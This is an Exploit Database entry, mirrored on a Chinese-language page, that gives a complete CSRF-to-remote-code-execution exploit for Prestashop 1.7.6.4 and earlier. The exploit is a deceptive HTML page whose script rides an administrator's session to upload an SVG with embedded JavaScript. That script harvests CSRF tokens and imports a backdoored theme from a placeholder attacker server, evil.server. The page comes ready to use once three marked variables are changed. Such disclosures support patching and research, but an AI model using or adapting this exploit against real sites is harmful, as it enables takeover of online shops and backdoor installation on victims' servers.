Prestashop 1.7.6.4 – Cross-Site Request Forgery

Exploit Database
106 阅读

作者： Sivanesh Ashok

日期： 2020-04-20
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/48347/

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<html>

<!--

# Exploit Title: Prestashop <= 1.7.6.4 single-click RCE exploit

# Date: 2020-04-11

# Exploit Author: Sivanesh Ashok | @sivaneshashok | stazot.com

# Vendor Homepage: https://www.prestashop.com/

# Version: 1.7.6.4 and below

# Tested on: Windows 10 / XAMPP / Prestashop v1.7.6.4

Prestashop <= 1.7.6.4 single-click RCE exploit

Written by Sivanesh Ashok | @sivaneshashok | stazot.com

For more details, visit https://stazot.com/prestashop-csrf-to-rce-article

Change the values of the 3 variables marked as "change this"

-->

<body>

<h3>This is totally a legit page. Just keep reading this for a minute :)</h3>

var target = "http://localhost"; //change this

var admin_url = "/admin123ab45cd"; //change this

var theme_url = "http://evil.server/backdoor-theme.zip"; //change this - link to the malicious theme zip file

var xhr0 = new XMLHttpRequest();

xhr0.open("GET", target+admin_url+"/filemanager/dialog.php");

xhr0.withCredentials = true;

xhr0.send();

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", target+admin_url+"/filemanager/upload.php", true);

xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------6487332036660663652470259777");

xhr.withCredentials = true;

var body = "-----------------------------6487332036660663652470259777\r\n" +

"Content-Disposition: form-data; name=\"path\"\r\n" +

"\r\n" +

"-----------------------------6487332036660663652470259777\r\n" +

"Content-Disposition: form-data; name=\"path_thumb\"\r\n" +

"\r\n" +

"-----------------------------6487332036660663652470259777\r\n" +

"Content-Disposition: form-data; name=\"file\"; filename=\"exploit.svg\"\r\n" +

"Content-Type: image/svg+xml\r\n" +

"\r\n" +

"\x3csvg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\x3e\r\n" +

"\r\n" +

"\t\x3cscript xlink:href=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js\"\x3e\x3c/script\x3e\r\n" +

"\t\r\n" +

"\t\x3cscript\x3e\r\n" +

"\t\r\n" +

"\t$.ajaxSetup({async: false});\r\n" +

"\r\n" +

"\tvar target = \'" + target + "\';\r\n" +

"\tvar admin_url = \'" + admin_url + "\';\r\n" +

"\tvar theme_url = \'" + theme_url + "\';\r\n" +

"\tvar import_url = \'\';\r\n" +

"\tvar import_token = \'\';\r\n" +

"\t\r\n" +

"\t$.get(target+admin_url+\'/index.php/improve/design/themes/import\', function( my_var0 ) {\r\n" +

"\t\r\n" +

"\t\tvar tmp = my_var0.match(/_token(.{44})/g);\r\n" +

"\t\ttmp = tmp.toString().split(\"=\");\r\n" +

"\t\ttmp = tmp[1];\r\n" +

"\t\timport_url = target+admin_url+\'/improve/design/themes/import?_token=\'+tmp;\r\n" +

"\r\n" +

"\t}, \'html\');\r\n" +

"\r\n" +

"\t$.get(import_url, function( my_var1 ) {\r\n" +

"\r\n" +

"\t\tvar tmp = my_var1.match(/import_theme__token(.{101})/g);\r\n" +

"\t\ttmp = tmp.toString().split(\' \');\r\n" +

"\t\ttmp = tmp[3].toString().split(\'=\\\"\');\r\n" +

"\t\timport_token = tmp[1];\r\n" +

"\r\n" +

"\t}, \'html\');\r\n" +

"\r\n" +

"\tvar themeUploadData = new FormData();\r\n" +

"\tthemeUploadData.append(\'import_theme[import_from_web]\', theme_url);\r\n" +

"\tthemeUploadData.append(\'import_theme[_token]\', import_token);\r\n" +

"\r\n" +

"\t$.ajax({\r\n" +

"\t\turl: import_url,\r\n" +

"\t\tdata: themeUploadData,\r\n" +

"\t\tcache: false,\r\n" +

"\t\tcontentType: false,\r\n" +

"\t\tprocessData: false,\r\n" +

"\t\tmethod: \'POST\'\r\n" +

"\t});\r\n" +

"\r\n" +

"\t\x3c/script\x3e\r\n" +

"\r\n" +

"\x3c/svg\x3e\r\n" +

"\r\n" +

"-----------------------------6487332036660663652470259777--\r\n";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

window.setTimeout(function(){

submitRequest();

}, 1500);

window.setTimeout(function(){

var iframe = document.createElement('iframe');

iframe.style.display = "none";

iframe.src = target+"/img/cms/exploit.svg";

document.body.appendChild(iframe);

}, 4000);

</script>

</body>

</html>